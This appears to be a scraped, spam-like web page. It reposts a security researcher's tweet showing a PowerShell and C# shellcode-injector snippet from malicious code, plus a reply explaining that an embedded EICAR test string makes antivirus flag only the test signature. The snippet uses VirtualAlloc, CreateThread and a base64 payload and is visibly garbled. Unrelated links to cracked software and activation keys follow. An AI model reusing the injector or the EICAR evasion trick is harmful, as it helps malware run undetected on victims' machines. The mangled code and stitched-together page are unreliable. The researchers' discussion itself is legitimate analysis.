



0-WEB.ru

[ISC Stormcast For Thursday, January 23rd 2020 https://isc.sans.edu/ Podcastdetail.html Id=6836](https://isc.sans.edu/ Podcastdetail.html Id=6836) (Thu, Jan 23rd)



**Xavier Mertens** @xme · Jan 17

I'm wondering about the purpose of adding the #EICAR string in a malicious code!? 🤔

```

-StrictMode -Version 2
$eicar = 'X50!PMBAP(=PZXS(=P>77CC)?SEICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H#H'

$host = 0
$assembly = 0
using System;
using System.Runtime.InteropServices;
namespace Inject {
    public class func {
        [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
        [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
        [Flags] public enum Time - uint { Infinite = 0xffffffff }
        [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
    }
}

$compiler = New-Object Microsoft.CSharp.CSharpCodeProvider
$params = New-Object System.CodeDom.Compiler.CompilerParameters
$params.ReferencedAssemblies.Add($SystemDll, ([Object] $System).Assembly.Location)
$params.GenerateInMemory = $True
$result = $compiler.CompileAssemblyFromSource($params, $assembly)
Write-Output ($var_code = [System.Convert]::FromBase64String("Tvp8U1V1cvIgeapAAAS10d6v//8L730l8zuxuA0D/0048LWlVngLAAAABLLj-/QAAAAAAMAAAAAAAMAAAFup4A4An1Bpb8TMBIVGhp-cyBwce9ncnFl1ONbn5vdC8lZSBydW4pRE9TIG1ZOUJ0Qk1AAAM"))

```

8 replies, 10 retweets, 27 likes



**Rob Graham** @ErrataRob

Replying to @xme

Because it suppresses any other trigger that might happen, so the file gets detected only as EICAR, which then gets ignored.

11:44 PM · Jan 17, 2020 · Twitter Web App

1 Retweet 37 Likes

Reply, Retweet, Like, Share icons

ISC Stormcast For Thursday, January 23rd 2020 <https://isc.sans.edu/Podcastdetail.html?Id=6836>. (Thu, Jan 23rd)



0-WEB.ru

---

ac183ee3ff

[Bomb Squad Academy 1.1.6 Apk + Mod \(Unlocked\) for android](#)

[Clip Studio Paint Ex 1.6.4](#)

[Video Converter Pro v3.7 Apk](#)

[Coreldraw x6 upgrade](#)

[Tech Thoughts Daily Net News September 30, 2012](#)

[Spoken Word Artist Shows No Fear: Georgia Me Makes Appearance at Fall for the Book Festival](#)

[BB FlashBack 5.41.0 Pro Mega seruno1 -Excelente Grabador Editor de Pantalla-](#)

[Apple propone un nuovo monitor LG UltraFine 4K da 23.7](#)

[Latest Autodesk AutoCAD Crack With Activation Keys 2020](#)

[The Virginia Glee Club in World War II, part 2](#)